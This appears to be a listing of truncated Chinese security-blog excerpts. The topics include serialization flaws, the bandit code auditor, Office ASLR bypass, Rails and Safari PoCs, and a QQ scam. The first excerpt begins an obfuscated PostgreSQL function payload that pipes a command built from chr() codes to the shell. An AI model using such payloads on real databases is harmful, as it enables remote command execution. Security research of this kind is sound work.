CREATE FUNCTION id() RETURNS text AS $aaa$open(FD,chr(108).chr(105).chr(32).chr(124));return join(ch...

Author: wofeiwo#80sec.com 数据序列化，这是个很常见的应用场景，通常被广泛应用在数据结构网络传输，session存储，cache存储，或者配置文件上传，参数接收等接口处。主要作...

这次来讲关于自动化审计方面的。 OpenStack 团队出品过一个Python代码审计工具叫bandit，思路很牛逼，通过AST模块将源代码转换为Python语法树，由用户自定义对语法树的节点进行测试...

Python 渗透测试工具库 https://github.com/dloss/python-pentest-tools 推荐学习书目 › Learn Python the Hard Way › Py...

转载自：http://www.hostloc.com/thread-317962-1-1.html 啪啪啪啪啪 1# 纷纭 (:-)) | 2016-06-02 16:48 不错哈~~~ 2# Iva...

原文链接：http://www.greyhathacker.net/?p=894 这篇小东西旨在探究一种在Office中通过实例化ActiveX控件，使用特定的classid绕过ASLR的方法。我已经...

本人今天早上7点钟才睡觉 到10点钟左右 被电话吵醒 接到女朋友电话说让她打钱 问我怎么回事 吓得我以为QQ被盗了 赶紧在空间发了条说说 “QQ被盗 请勿相信任何消息” 等我回过头来 又有个好友发来消...

原理分析： http://ronin-ruby.github.com/blog/2013/01/28/new-rails-poc.html PoC代码：https://gist.github.com/...

详情分析链接在此：http://blog.phusion.nl/2013/01/03/rails-sql-injection-vulnerability-hold-your-horses-here-a...

from：http://klikki.fi/adv/safari.html 2015.4.8 苹果升级了很多漏洞，包括Safari的一个跨域漏洞 poc： ftp://user%40ftp.attac...